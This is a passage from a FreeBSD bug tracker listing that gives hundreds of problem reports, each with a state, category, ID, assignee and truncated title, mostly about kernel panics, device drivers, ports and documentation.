[carp] [panic] carp causes kernel panics in any conste o kern/120128 attilio [libc] [patch] __getcwd erroneously returning ENOENT o kern/120127 [loader] Loading of gzip'd mfsroot from pxeboot(8) cau o docs/120125 doc [patch] Installing FreeBSD 7.0 via serial console and o bin/120114 [patch] reboot(8) - add features available in Solaris. o ports/120101 cy security/krb5 utilities link against wrong libcom_err o bin/120095 gdb(1) fails to catch signals when threading is involv o kern/120091 geom [geom] [geli] [gjournal] geli does not prompt for pass o kern/120090 [geli] geli boot password input fails when using usb k o kern/120075 [libcrypt] Incompatible EOS of key in crypt(3) o kern/120073 [new driver] [patch] add support for Meinberg PCI-base o kern/120072 Interpreter fails to invoke on 6.3-RELEASE, reproducab o kern/120066 [geli] geli boot password input fail when using serial o bin/120064 routed(8) marks 802.11 interfaces broken o bin/120060 net routed(8) deletes link-level routes in the presence of o kern/120057 pf [pf] [patch] Allow proper settings of ALTQ_HFSC. The c o bin/120055 dchagin [linux] kdump(1) segfaults on freebsd6_mmap syscall o kern/120044 geom [msdosfs] [geom] incorrect MSDOSFS label fries adminis o usb/120034 usb [hang] 6.2 & 6.3 hangs on boot at usb0: OHCI with 1.5 o docs/120024 doc resolver(5) and hosts(5) need updated for IPv6 o kern/120021 geom [geom] [panic] net-p2p/qbittorrent crashes system when o kern/120009 [ata] Burning on FreeBSD is destroying SONY CD-Rs o ports/119997 dougb [PATCH] dns/bind94: added GeoIP patches o usb/119981 usb [axe] [patch] add support for LOGITEC LAN-GTJ/U2 gigab o usb/119977 usb [ums] Mouse does not work in a Cherry-USB keyboard/mou s ports/119974 pgollucci net-mgmt/net-snmp problem on SPARC-64 o kern/119973 multimedia [snd_maestro] snd_maestro only works after reload [reg a ports/119966 roam mail/vpopmail patch o i386/119946 i386 [est] sysctl dev.cpu.0.freq on 75 Hz, cannot be change o kern/119945 net [rum] [panic] rum device in hostap mode, cause kernel o kern/119931 multimedia [sound] No sound card detected on ASUS "K8V-X SE R2.00 o ports/119923 demon [patch] sysutils/ascpu does not work FreeBSD 8.0-CURRE p threa/119920 deischen [patch] fork broken in libpthread o bin/119903 [ncurses] Fast increase in loading of the processor. A o kern/119895 [est] Core2Duo CPUs not recognized by EST o kern/119894 [ata] Initialization of disc controller fails [regress o kern/119891 slow halt, reboot when remote network shares which doe o kern/119877 [ata] OS Fails to detect hard disks on HP Proliant ML1 o conf/119874 rc [patch] "/etc/rc.d/pf reload" fails if there are macro o kern/119850 [radeon] radeon module doesnt work right, when loaded o kern/119842 jail [smbfs] [jail] "Bad address" with smbfs inside a jail o kern/119838 [ata] udma100 enabled althrough improper cable on nVid o i386/119809 gavin [virtualpc] MS Virtual PC 2007 - Install hung - Trying o bin/119801 dhclient(8): dhclient changes alias to address o kern/119791 net [nfs] UDP NFS mount of aliased IP addresses from a Sol f bin/119776 vwe can't start sshd(8) o kern/119767 jfv [em] [patch] if_em fix for systems without msix suppor o kern/119759 multimedia [snd_emu10k1] Can not record anything with emu10k1 on o kern/119754 jfv [em] em hung after "watchdog timeout -- resetting" on o kern/119743 geom [geom] geom label for cds is keeped after dismount and f kern/119735 fs [zfs] geli + ZFS + samba starting on boot panics 7.0-B o ports/119732 java java/linux-sun-jre16: linux-sun-jre16 plugin doesn't w o ports/119710 sumikawa [patch] net/netcat - nc command runs BSD nc instead of o kern/119696 [irq] [ral] ral device causes massive interrupt storm o bin/119695 pw(8) does not interact with nscd(8) o kern/119668 scsi [cam] [patch] certain errors are too verbose comparing o usb/119653 usb [cam] [patch] iriver s7 player sync cache error patch s bin/119645 [request] mount_ntfs(8) -- files permissions mask is i o usb/119633 usb [umass] umass0: BBB reset failed, IOERROR [regression] o kern/119618 [fdc] Double Density Disks do not work correctly o kern/119617 net [nfs] nfs error on wpa network when reseting/shutdown f kern/119613 yongari [msk] mskc0: Uncorrectable PCI Express error o bin/119610 [patch] config(8): config -x appends unwanted trailing o kern/119606 [sio] [patch] PCMCIA card not attached to driver o amd64/119591 amd64 [amd64] [patch] time_t on 64-bit architecture o kern/119575 simokawa [firewire] [patch] sbp_targ cannot handle multiple CTI o i386/119574 i386 [i386] 7.0-RC1 times out in calibrate_clocks() [regres o kern/119572 [sbp] PowerBook not accessable when in target mode o conf/119550 [ppp] ppp not starting during bootup. o docs/119545 doc books/arch-handbook/usb/chapter.sgml formatting a docs/119536 doc a few typos in French handbook (basics) o bin/119524 cron(8) suddenly stops working, not crash f kern/119516 net [ip6] [panic] _mtx_lock_sleep: recursed on non-recursi o usb/119513 usb [irq] inserting dlink dwl-g630 wireless card results i o usb/119509 usb [usb] USB flaky on Dell Optiplex 755 o kern/119507 [dri] mach64.o kernel module version is 1.0.0, but ver p bin/119490 top(1) hangs for long periods with NIS -- even using - f kern/119487 [em] page fault in em taskq with polling enabled o bin/119483 [patch] vidcontrol(1) misses latest VESA mode (off-by- o usb/119481 usb [hang] FreeBSD not responding after connecting USB-Mas o conf/119464 [patch] [request] Add 'sorted' option to etc/periodic/ o kern/119432 net [arp] route add -host -iface causes arp e o usb/119389 usb [umass] Sony DSC-W1 CBI reset failed, STALLED [regress o docs/119386 blackend bsdlabel and newfs on DVD-RAM (handbook ch. 18.7.9) o kern/119374 thomas [ata] [regression] ATAPI or ATAPICAM bug (regression i o kern/119358 [kernel] [patch] SYSINIT_VERBOSE can be more verbose o ports/119357 maho lang/gcc42 WITH_JAVA_AWT=yes fails to install o kern/119356 acpi [acpi]: i386 ACPI wakeup not work due resource exhaust o bin/119354 mux csup(1) in free(): error: chunk is already free o ports/119352 nork graphics/ilmbase configure tests for shared semaphores f kern/119345 vwe [ath] Unsuported Atheros 5424/2424 and CPU speedstep n p docs/119338 trhodes gprof(1) refers to unmentioned option "-c" p docs/119329 trhodes [patch] Fix misleading man 1 split o kern/119307 emaste [queue] [patch] TRASHIT macro blasts list header if RE f kern/119303 linimon [ata] SATA HDD missing in 7.0-RC1, ok in 7.0-BETA4; at o kern/119298 kan [xfs] [patch] 7-Stable/sys/modules/xfs fails to make f o kern/119293 [gbde] gbde swap encryption forces gmirror to rebuild o kern/119259 [panic] kernel panic on asus c90s laptop after first ( o sparc/119244 sparc64 X11Forwarding to X11 server on sparc crashes Xorg o sparc/119240 sparc64 top has WCPU over 100% on UP system s sparc/119239 sparc64 gdb coredumps on sparc64 o usb/119227 usb [ubsa] [patch] ubsa buffer is too small; should be tun o kern/119225 net [wi] 7.0-RC1 no carrier with Prism 2.5 wifi card [regr o kern/119205 [dc] [patch] Collect various stats regarding dc(4) int o kern/119202 [kernel] [patch] Add generic support for disabling dev o usb/119201 usb [cam] [patch] Quirks for Olympus FE-210 camera, LG and o kern/119200 acpi [acpi] Lid close switch suspends CPU for 1 second on H o kern/119197 [psm]: PS/2 mouse doesn't work under FreeBSD i386 7.0 s bin/119196 des fetch(1): [request] parallel download from multiple se o i386/119175 i386 [busdma] [patch] Typo in bus_dmamem_alloc() o usb/119150 remko [usbdevs] [patch] new usbdevs for CDMA 1xEVDO devices o kern/119140 [ata] [panic] Kernel panic with sata drive and dma pro o ports/119119 timur net/samba3 - 3.0.28 stops working with ZFS whereas 3.0 o bin/119077 [patch] sysinstall(8) - reading packages from index is o conf/119076 rc [patch] [rc.d] /etc/rc.d/netif tries to remove alias a o bin/119068 dd(1) yields a bogus error when input file is to small o java/119063 java An unexpected error has been detected by Java Runtime f ports/119048 portmgr bsd.port.mk - per-port make.port.conf support [fix inc f kern/119047 yongari [re] Not correct working RealTek 8168/8111B PCIe Gigab o kern/119043 [twa] twa hang after heavy disk IO o bin/119014 [patch] IPv6 addresses cause sockstat(1) to run column o kern/118993 ipfw [ipfw] page fault - probably it's a locking problem o kern/118990 [nve] nve + PAE bus_addr_t/void * inconsistencies a bin/118987 net ifconfig(8): ifconfig -l (address_family) does not wor o kern/118973 acpi [acpi]: Kernel panic with acpi boot o kern/118962 [agp] Intel GMA 3000 Video Controller Not Recognized U o ports/118958 portmgr Mk/bsd.autotools.mk: find configure if CONFIGURE_WRKSR o java/118956 java eclipse and netbeans break on diablo-jdk15 o sparc/118932 net [panic] 7.0-BETA4/sparc-64 kernel panic in rip_output o kern/118927 jfv [em] em(4) broken: link state changed to DOWN (/UP), l o kern/118912 fs [2tb] disk sizing/geometry problem with large array o docs/118902 doc [patch] wrong signatures in d2i_RSAPublicKey man pages o kern/118880 bz [ip6] IP_RECVDSTADDR & IP_SENDSRCADDR not implemented a kern/118879 net [bge] [patch] bge has checksum problems on the 5703 ch o bin/118874 [patch] tftpd(8): add TFTP Option Extension (rfc 2347) o misc/118855 fs [zfs] ZFS-related commands are nonfunctional in fixit o kern/118819 [vmware] FreeBSD 6.2 in VMware is unstable and there i p conf/118770 mtm [patch] rc.d scripts: print information instead of sil o bin/118759 cvs(1): cvs -R doesn't handle non-existent tags o kern/118739 [cpufreq] [patch] Allow the cpufreq/p4tcc driver to de o kern/118734 [xen] FreeBSD 6.3-RC1 and FreeBSD 7.0-BETA 4 fail to b o kern/118727 net [netgraph] [patch] [request] add new ng_pf module o bin/118723 gcooper [patch] od(1)/hexdump(1) truncates last partial repeat o ports/118716 shaun security/heimhal - shared library conflict with heimda o threa/118715 threads kse problem o kern/118713 fs [minidump] [patch] Display media size required for a k o ports/118697 portmgr bsd.port.mk - error-inducing absolute path in X11R6 sy o kern/118695 jfv [em] device polling + vlan causes panic on "em" interf o docs/118693 jfv Update for "em" man page for RELENG_7 o ports/118677 timur [net/samba3] Unix password synchronization with PAM do o i386/118656 i386 [panic] Init dies in single user mode and box get kern o bin/118636 sysinstall(8): [patch] [request] remove requirement fo o kern/118573 [ata] FreeBSD doesnt support my optical drive s kern/118571 [boot] [request] fix BTX issues when booting FreeBSD 7 p kern/118540 kaiw [elf] [patch] update sys/sys/elf_common.h with new ema o kern/118534 [ipw] bitrate and power wifi can't change/set ipw Inte o bin/118503 sysinstall(8): sysinstall(8) and /etc/rc.conf o bin/118501 Sending SIGINT to cvs(1) gives segmentation fault o java/118496 java Eclipse packages do not work with 6.3-RC1/amd64 o kern/118493 weongyo [ndis] [patch] a trivial fix when ndis sets `ndis_reso o usb/118485 usb [usbdevs] [patch] Logitech Headset Workaround o usb/118480 usb [umass] Timeout in USB mass storage freezes vfs layer o kern/118459 [hang] Freeze under high-load with SMP until keypresse o bin/118449 randi sysinstall(8): Installer failing dns lookups o kern/118447 [ata] [patch] Troublesome DMA modes with VIA Apollo VP p kern/118439 thompsa [ndis] [patch] if_ndis - fix a panic when ndis_attach( f ports/118419 danfe x11/nvidia-driver: link_elf: symbol _sleep undefined o gnu/118415 nm -D fails if a file has no symbols a ports/118406 danfe x11/nvidia-driver-*xx: nvidia driver port name conflic o kern/118399 secteam [tap] local/remote kernel DoS through TAP device p usb/118374 attilio [ubsa] [patch] support Option GlobeTrotter Max 3.6 wir p kern/118370 thompsa [ndis] [patch] if_ndis - fix a scanning problem of Mar o bin/118355 pf [pf] [patch] pfctl(8) help message options order false o usb/118353 usb [panic] [ppp] repeatable kernel panic during ppp(4) se o i386/118350 i386 [boot] [hang] BTX loader hangs on PC Engines WRAP o kern/118342 [ata] Unable to mount root on ata drive w/ Cyrix 5530 o docs/118332 doc man page for top does not describe STATE column wait e o bin/118325 rc [patch] [request] new periodic script to test statuses o kern/118320 fs [zfs] [patch] NFS SETATTR sometimes fails to set file o bin/118318 mohans [nfs] NFS server hangs under special circumstances o kern/118317 [zlib] [patch] Incorrect gzeof() return value in zlib o conf/118315 dougb Local startup scripts run twice p kern/118304 kib freebsd 7 delivers unanticipated signal for page fault o ports/118301 python devel/py-setuptools easy-install.pth contents lost on o bin/118297 weongyo [patch] ndiscvt(8): sort a output format. o bin/118296 weongyo [patch] ndiscvt(8) can't parse a STRING WORD pattern w o bin/118295 weongyo [patch] ndiscvt(8) makes a syntax error when it proces o bin/118294 weongyo [patch] ndiscvt(8) can't parse WORD which includes '(' o i386/118285 i386 [i386] Segmentation fault in reloc_non_plt. o kern/118282 [sg] device sg + hald + umass plugging crashes 7.0 p bin/118260 bin: more informative error message for install(1) o conf/118255 rc savecore never finding kernel core dumps (rcorder prob o bin/118249 fs mv(1): moving a directory changes its mtime o bin/118248 gavin newsyslog(8) does not obey -s (nosignal) flag a kern/118238 net [bce] [patch] bce driver shows "no carrier" on Intel S o ports/118237 multimedia Ports: multimedia/ffmpeg fix configure option and add o ports/118230 acm games/linux-quake4 fails to start o kern/118222 [pxeboot] [patch] FreeBSD 7.0 PXE + NFS / "Can't work o ports/118218 krion x11/xterm should be configured with --enable-setuid fo o docs/118214 doc close(2) error returns incomplete o bin/118207 burncd(8) gives I/O error writing CD on Pioneer DVDR-1 o bin/118205 [patch] [request] new options -r to pkill(1) a pid aft o ports/118196 krion x11/xterm v229 mishandles combining characters o gnu/118188 obrien GCC bug with abs() o ports/118168 multimedia [patch] multimedia/transcode - Add WITHOUT_X11 and WIT f kern/118161 thomas [atapicam] failure message from ATAPI CDROM in the boo s kern/118158 [ata] SONY SDX-570V (ATAPI) hangs frequently o bin/118144 des [patch] pam_lastlog doesn't check return values in pam o usb/118141 usb [ucom] usb serial and nokia phones ucomreadcb ucomread o usb/118140 usb [ucom] [patch] quick hack for ucom to get it behave wi o kern/118137 process stuck in pipewr (similar to kern/55908?) o bin/118132 [patch] pax(1): broken -s handling of \1, \2 ... f kern/118128 oleg [dummynet] Dummynet cause kernel trap or system freeze o kern/118126 kmacy [nfs] Poor NFS server write performance s kern/118124 [request] HZ value on slow computers should by dynamic o bin/118123 [patch] chat(8) has infinite recursion bug o misc/118121 [build] RELENG_7 kernel compile fails with -Os o bin/118114 [patch] update manctl(8) o conf/118113 [md] mdconfig init script requires image to be on root o conf/118111 [patch] [request] Add MAC address based interface rena o kern/118107 fs [ntfs] [panic] Kernel panic when accessing a file at N o usb/118098 usb [umass] 6th gen iPod causes problems when disconnectin o kern/118093 firewire [firewire] firewire bus reset hogs CPU, causing data t a bin/118071 darrenr ipnat(8): ipnat -s expired counter does not update [re o bin/118069 thomas [patch] camcontrol(8) should be able to leave device s o conf/118047 Move /etc/printcap to /usr/share/examples/ o kern/118044 [panic] [lor] spin lock held too long o kern/118021 randi [keyboard] 7.0 Beta 2 sysinstall keyboard emits contro o docs/118020 doc ipfilter(4): man pages query for man 4 ipfilter return o bin/118014 remko [patch] arp(8): Minor style(9) change to src/usr.sbin/ p bin/118005 andre Can No Longer SSH into 7.0 host o ports/118003 apache www/apache22: with PgSQL option require only libpq.so. a kern/117987 rwatson read(2) on directories might leak filenames of deleted o kern/117973 [panic] [lpt] 7.0-BETA2: repeatable panic while printi o kern/117972 [ata] SATA DLT V4 not recognized properly p bin/117966 fdread(1) aborts with EPERM o usb/117955 usb [umass] [panic] inserting minolta dimage a2 crashes OS o kern/117954 [ufs] dirhash on very large directories blocks the mac o usb/117946 usb [panic] D-Link DUB-E100 rev. B1 crashes FreeBSD 7.0-BE o kern/117943 kmacy [zfs] zfs snapshot directory could not access from NFS o usb/117938 usb [ums] [patch] Adding support for MS WL Natural and MS o conf/117935 rc [patch] ppp fails to start at boot because of missing o kern/117926 jfv [em] Intel S5000-based mobo, em driver does not attach f ports/117923 maho USE_FORTRAN=yes: shared libraries for blas, lapack, an o bin/117922 ftpd(8): remote ftp user possible leave chrooted envir o ports/117921 vanilla New port: multimedia/feng Feng is a multimedia streami o usb/117911 usb [ums] [request] Mouse Gembird MUSWC not work s ports/117907 x11 x11-servers/mga_hal broken on 7.0-BETA (GLIBC error) o usb/117893 usb [umass] Lacie USB DVD writing failing o kern/117867 kmacy [heimdal] kinit generates bad tickets on multihomed IP s bin/117830 [patch] who(1) no longer displays entries for folk log o bin/117812 passwd(1): incapable of changing LDAP passowrds using o misc/117811 [build] Building multiple kernels with KERNCONF="ONE T p docs/117798 trhodes formatting oddity in sysmouse(4) o gnu/117756 dialog_checklist() does not honour DisplayX/DisplayY o conf/117753 Pediodic script 100.clean-disks cleans out some useful f bin/117751 [patch] [request] Make pw(8) support "-d" argument o bin/117748 sh(1): Backslash quote fails in pattern for substring o docs/117747 doc 'break' system call needs a man page o bin/117733 [patch] [request] allow to tee(1) to sockets, descript s kern/117717 net [panic] Kernel panic with Bittorrent client. o usb/117712 [reboot] unexpected reboot after mount USB flash drive f kern/117711 matteo [rpc] rpcbind binds to all interfaces on random ports o kern/117709 simon [libcrypto] [patch] Base openssl does not define OPENS o kern/117688 [mpt] mpt disk timeout and hang o bin/117687 [patch] fstab(5) format cannot handle spaces o kern/117681 [virtualbox] pcn fails to send packets under VirtualBo f kern/117655 sam [ral] ral%d: device timeout when running as an access o usb/117613 usb [uhci] [irq] uhci interrupt storm & USB leaked memory o kern/117607 [amd64] dev.cpu.0.freq not showing up any longer on am o kern/117605 acpi [acpi] [request] add debug.cpufreq.highest f bin/117603 linimon [patch] dump(8) hangs on SMP - 4way and higher. o usb/117598 usb [uaudio] [patch] Not possible to record with Plantroni p conf/117555 dougb [patch] [nis] NIS-dependent services cannot start if y o ports/117551 tmclaugh [New Port] lang/boo, the boo programming language. o usb/117546 remko [uftdi] [patch] Add MaxStream ZigBee product ID to uft o ports/117545 tmclaugh [New Port] devel/monodevelop o bin/117520 mux [patch] csup(1) not-really-equivalent to cvsup s kern/117513 vwe [panic] [ath] Fatal trap 12: page fault while in kerne p kern/117512 des [libpam] [patch] document .opieaccess for pam_opieacce o kern/117510 [headers] [patch] sys/cdefs.h lacks support for PCC o bin/117492 reset(1) doesn't restore erase token o gnu/117481 sort(1) incorrect numeric sort in very specific cases o kern/117474 [hang] HP Proliant 5500 hangs on reboot with 6.2 o bin/117452 [patch] tftp(1): the fix for PR 103206 was incorrect o kern/117448 net [carp] 6.2 kernel crash [regression] o kern/117443 [ata] [hang] system hang with ataidle o ports/117440 kde misc/kdeedu3 - Request to package README.ephemerides f o ports/117431 itetcu Update port: graphics/ipe Version 6.0pre28 of Ipe that o kern/117423 net [vlan] Duplicate IP on different interfaces o kern/117421 [ata] [hang] System hang with failing SATA disk (SiI31 o kern/117420 jeff [sched_ule] round off in sched_balance_pair() o amd64/117418 amd64 [hang] FreeBSD 6.2 crash on amd64 4400+ with ssh o kern/117374 vidcontrol(1) videomode: Operation not supported by de o kern/117348 [libedit] Loading history file sometimes fails in libe o bin/117339 net [patch] route(8): loading routing management commands o amd64/117316 amd64 [acpi] ACPI lockups on SuperMicro motherboard o bin/117315 fs [smbfs] mount_smbfs(8) and related options can't mount o kern/117314 fs [ntfs] Long-filename only NTFS fs'es cause kernel pani o usb/117313 usb [umass] [panic] panic on usb camera insertion o docs/117308 gavin [patch] Clarification of /etc/defaults/devfs.rules sta s ports/117299 edwin [NEW PORTS] www/webobjects(+) Apple WebObjects ports b o i386/117297 i386 [hang] System hangs up every day o amd64/117296 amd64 [ata] I don`t see second SATA IDE on VIA VT8237A o bin/117277 des [patch] fetch(1): fetch's resume mode doesn't verify t o kern/117271 net [tap] OpenVPN TAP uses 99% CPU on releng_6 when if_tap o bin/117256 kgdb(1) cannot read PTD o kern/117242 [powerd] [hang] console hangs when powerd is adaptive o kern/117234 ipfw [ipfw] [patch] ipfw send_pkt() and ipfw_tick() don't s o kern/117215 [ata] Kernel errors accessing audio CDs w/ Samsung SAT o bin/117214 ipfw ipfw(8) fwd with IPv6 treats input as IPv4 o usb/117205 remko [uscanner] [patch] uscanner support for HP ScanJet 447 o usb/117200 usb [ugen] ugen0 prints strange string on attach if detach o bin/117191 [patch] OptionalObsoleteFiles.inc - Add files to remov o kern/117188 [geli] System crashes/reboots on access to file on GEL a amd64/117186 amd64 [modules] kldload Unsupported file type on STABLE amd6 p usb/117185 thompsa [umodem] [patch] Add support for UNION interface descr o usb/117183 usb [panic] USB/fusefs -- panic while transferring large a o ports/117178 portmgr bsd.port.mk - Remove ${INDEXDIR}/${INDEXFILE}.bz2 afte o kern/117158 fs [zfs] zpool scrub causes panic if geli vdevs detach on f usb/117150 weongyo [zyd] usb zyd device under moderate load panics system o bin/117093 kensmith [patch] [request] Teach sysinstall(8) to load config f o kern/117043 net [em] Intel PWLA8492MT Dual-Port Network adapter EEPROM o kern/117028 [atapicam] [panic] brelse: free buffer onto another qu a conf/117027 yar rc.subr doesnt deal with perl daemons o kern/117026 imp [pcmcia]: Panic while removing PCMCIA wireless card p docs/117013 trhodes mount_smbfs(8) doesn't document -U (username) argument o kern/117000 glebius [carp] CARP using address-less host NIC (carpdev) p ports/116984 apache [patch] www/apache13-modssl missing perl5.8 as RUN_DEP o bin/116980 fs [msdosfs] [patch] mount_msdosfs(8) resets some flags f o usb/116947 usb [ukbd] [patch] [regression] enable boot protocol on th o misc/116946 holographic shell breaks live CD shell o kern/116939 acpi [acpi] PCI-to-PCI misconfigured for bus three and can o kern/116935 [ata] Intermittent error with Promise PDC40718 o conf/116931 lack of fsck_cd9660 prevents mounting iso images with o kern/116913 fs [ffs] [panic] ffs_blkfree: freeing free block o bin/116908 pkg_create(1): pkg_create -b makes invalid packages fo o kern/116853 yongari [msk] msk watchdog timeout o i386/116844 i386 [boot] [hang] cannot boot from cd when using Dell Vost o ports/116841 java cannot build java/jdk16 by using java/linux-sun-jdk16 o kern/116837 net [tun] [panic] [patch] ifconfig tunX destroy: panic o stand/116826 standards [patch] sh support for POSIX character classes o bin/116784 mount_msdosfs(8): mount_msdosfs -L ru_RU.KOI8-R -W koi o bin/116782 [geli] geli not updated on migrate from 6.1 to 6.2 rel o kern/116770 [kqueue] Unfortunate fifo/O_NONBLOCK/kevent interactio o kern/116747 net [ndis] FreeBSD 7.0-CURRENT crash with Dell TrueMobile f ports/116741 openoffice editors/openoffice.org-2 build errors related to java o ports/116728 shaun news/inn - ckpasswd (contained INN) crashed o bin/116722 ntpd(8): ntpd core dumps if hostnames are not specifed o kern/116719 [panic] kill all watch causes page fault on kernel ser o kern/116701 [atapicam] atapicam hangs initializing SATA DVDRs on s o usb/116699 usb [usbhid] USB HID devices do not initialize at system b a kern/116697 kmacy [net] [patch] ifconfig's name argument has no effect o s amd64/116689 amd64 [request] support for MSI K9MM-V o bin/116688 cpio(1): cpio with -c option does not work. o threa/116668 threads can no longer use jdk15 with libthr on -stable SMP o java/116667 java linux-sun-javac1.4 hangs on SMP o www/116660 www docs.freebsd.org returns bad chunked encoding o bin/116643 net [patch] [request] fstat(1): add INET/INET6 socket deta o amd64/116620 amd64 [hang] ifconfig spins when creating carp(4) device on p kern/116608 fs [msdosfs] [patch] msdosfs fails to check mount options f ports/116601 portmgr [patch] bsd.port.mk - fail if dependency failed o www/116594 bugmeister query-pr.cgi on ports/116460 o docs/116588 remko No IPFW tables or dummynet in Handbook o kern/116583 fs [ffs] [hang] System freezes for short time when using o ports/116571 skv databases/firebird20-client fails to compile in a jail o usb/116561 usb [umodem] [panic] RELENG_6 umodem panic "trying to slee o kern/116515 remko [ntfs] NTFS mount does not check that user has permiss o docs/116480 doc sysctl(3) description of kern.file no longer applies s o www/116479 www cvsweb+enscript formatting bugfix o stand/116477 standards rm(1): rm behaves unexpectedly when using -r and relat o misc/116453 [picobsd] picobsd build script fails for not exist log s kern/116444 vwe [ath] Atheros 5005G (AR5212) miniPCI: unable to attach o ports/116443 x11 x11-drivers/xf86-input-keyboard patch for USB jp106 ke s ports/116441 pav net/boinc-client patch for daemon mode o kern/116435 [drm] drm/i915 reports memory leak o bin/116425 [patch] [request] ls(1) options for pre-sort of direct o conf/116416 mtm [patch] [request] per-jail rc.conf(5) style configurat o kern/116415 [ata] 6.2-STABLE does not work on Gigabyte GA-P35-S3 ( o bin/116413 standards incorrect getconf(1) handling of unsigned constants gi o kern/116335 andre [tcp] Excessive TCP window updates o kern/116328 net [bge]: Solid hang with bge interface o amd64/116322 amd64 [panic] At start fsck on current, the system panics o bin/116302 atacontrol(8) reports wrong stripe for intel raid0 o usb/116282 usb [ulpt] Cannot print on USB HP LJ1018 or LJ1300 o kern/116270 [ata] READ_DMA48 UDMA ICRC error o www/116257 bugmeister query-pr.cgi is broken on ports/114999 o conf/116237 [patch] ugly output of the 405.status-ata-raid if fdes s ports/116222 portmgr files installed with the wrong UID/GID via make instal o ports/116219 edwin [patch] Add @rmtry to bsd.port.mk o bin/116209 [patch] [request] decimal suffix in split(1) o kern/116185 net [iwi] if_iwi driver leads system to reboot o threa/116181 threads /dev/io-related io access permissions are not propagat o kern/116172 bz [tun] [nd6] [panic] Network / ipv6 recursive mutex pan o kern/116170 fs [panic] Kernel panic when mounting /tmp o amd64/116159 amd64 [panic] Panic while debugging on CURRENT o kern/116133 kmacy Recursive lock panic when w_mtx falls into DELAY o docs/116116 doc mktemp (3) re/move note o i386/116100 i386 [panic] Fatal trap 12 right after reboot (da0s1error = o ports/116082 java java/linux-sun-jdk16 jconsole is unable to connect to o stand/116081 standards make does not work with the directive sinclude o docs/116080 tabthorpe PREFIX is documented, but not the more important LOCAL o bin/116074 [libc] fnmatch() does not handle FNM_PERIOD correctly o conf/116071 [patch] loader.conf update some variables o kern/116009 ipfw [ipfw] [patch] Ignore errors when loading ruleset from o kern/116005 des [libfetch] libfetch accepts invalid URLs o kern/115997 scottl [ciss] [panic] [patch?] kernel panics on heavy disk I/ o bin/115960 des sshd's X11 forwarding broken on IPv6 only machine [pat o ports/115957 itetcu Questionable ownership and security on dspam port o ports/115956 dougb dns/bind94: request port update involving dns/bind9-dl o bin/115951 [tun] pppoed(8): tun not closed after client abruptly o i386/115947 i386 [hang] Dell poweredge 860 hangs when stressed and ACPI o bin/115946 des [libpam] [patch] not thread-safe o ports/115940 python Missed one file in lang/python25 if NO_NIS defined o usb/115935 usb [usbdevs] [patch] kernel counterproductively attaches o usb/115933 usb [uftdi] [patch] RATOC REX-USB60F (usb serial converter o kern/115930 jfv [em]: Dell nic enumeration problem s conf/115923 [request] rc.subr - logger should be using priorities o kern/115856 geom [geli] ZFS thought it was degraded when it should have o i386/115854 i386 [boot] [install] Install FreeBSD with USB CDROM causes s amd64/115815 amd64 [ata] [request] Gigabyte GA-M61P-S3 Motherboard unsupp o java/115773 java [request] java.nio channel selectors should use kqueue p kern/115755 ipfw [ipfw] [patch] unify message and add a rule number whe o ports/115746 portmgr new ports category - meta f usb/115737 linimon [uplcom] uplcom doesn't identify my Prolific 2303 any s docs/115716 jhb remove cue from supported hardware list o kern/115695 [crypto] When "device padlock" defined first ssh to ma o kern/115666 multimedia [sound] Microphone does not work o kern/115651 vanhu Racoon(ipsec-tools) enters sbwait state or 100% CPU ut o kern/115645 fs [snapshots] [panic] lockmgr: thread 0xc4c00d80, not ex o kern/115631 [libc] [patch] [request] make dlclose(3) atexit-aware a kern/115623 imp [cardbus] [patch] Xircom CardBus Ethernet II 10/100 Ad f kern/115619 [sysvshm] Unfinished (uncompliant?) support for POSIX f kern/115614 thomas [ata] Recent ATA driver changes have broken cdrecord [ o kern/115606 [mpt] [panic] Panic while using mpt controller o amd64/115581 amd64 [Makefile] [patch] -mfancy-math-387 has no effect o kern/115547 geom [geom] [patch] [request] let GEOM Eli get password fro o kern/115526 piso [libalias] libalias doesn't free memory o bin/115486 [patch] [request] newsyslog(8) -- provide ability to c o www/115481 remko ASUS P5K SE motherboard status for amd64 o kern/115479 [ata] [request] ASUS P5K SE need more support o ports/115461 pgollucci [patch] bsd.apache.mk - Create packages for apache mod o bin/115447 harti [patch] [request] teach make(1) to respect TMPDIR envi o ports/115437 nobutaka multimedia/libxine: does not compile with certain env o bin/115431 [patch] [request] improvement to split(1): add -B swit o bin/115406 [patch] gpt(8) GPT MBR hangs award BIOS on boot o usb/115400 usb [ehci] Problem with EHCI on ASUS M2N4-SLI o kern/115374 [panic] vm_fault: fault on nofault entry, addr: e120d0 o kern/115371 imp [cardbus] [patch] Device removal leaves resource datab o bin/115361 fs [zfs] mount(8) gets into a state where it won't set/un o ports/115304 multimedia/gpac-mp4box cannot import files larger than o kern/115300 multimedia [snd_hda] snd_hda(4) fails to attach on -CURRENT [regr o usb/115298 usb [ulpt] [panic] Turning off USB printer panics kernel o i386/115285 i386 [panic] fatal trap 1 on freebsd 6.2 install boot up on o kern/115275 [wi] [panic] wi configure at boot time led to panic "i o kern/115253 [keyboard] Wireless keyboard not working at boot o bin/115242 ntpd(8): Incorrectly working ntpd on 7.0 [regression] o kern/115239 net [ipnat] panic with 'kmem_map too small' using ipnat o kern/115232 [ata] Audio CD tracks not displayed properly by atapi f kern/115226 vwe [ath] ath0: unable to attach hardware; HAL status 13 o threa/115211 threads pthread_atfork misbehaves in initial thread s kern/115202 [request] memory error diagnostic o bin/115197 kensmith sysinstall(8): can not install from USB stick drive o kern/115196 bushman [libc] [patch] [request] Implement getgroupmembership( o amd64/115194 amd64 LCD screen remains blank after Dell XPS M1210 lid is c o bin/115174 [patch] growfs(8) needs zero-writing for safe filesyst o bin/115172 ipfw [patch] ipfw(8) list show some rules with a wrong form o kern/115164 des [libpam] [patch] [request] Add support for the account o kern/115162 des [libpam] [patch] [request] Add check for target user's o kern/115152 [ata] Sil 3512 SATA controller panics on 6.2 o kern/115133 scottl [mpt] [mfi] [patch] Patches to make mfi support LSI SA o amd64/115126 yongari [nfe] nfe0: watchdog timeout (missed Tx interrupts) -- o docs/115065 doc [patch] sync ps.1 with p_flag and keywords o bin/115054 ntpd(8): NTP errors out on startup but restart of NTP o kern/115019 net [netgraph] ng_ether upper hook packet flow stops on ad o kern/115002 net [wi] if_wi timeout. failed allocation (busy bit). ifco o kern/114995 [drm] acpi_video prevents savage drm from loading succ o kern/114970 Wrong system time (last) when machine is crashed due t o kern/114955 fs [cd9660] [patch] [request] support for mask,dirmask,ui o kern/114928 green_saver does not switch DVI monitor power off o usb/114916 usb [umass] [patch] USB Maxtor drive (L300RO) requires qui o kern/114915 net [patch] [pcn] pcn (sys/pci/if_pcn.c) ethernet driver f o kern/114847 fs [ntfs] [patch] [request] dirmask support for NTFS ala f kern/114839 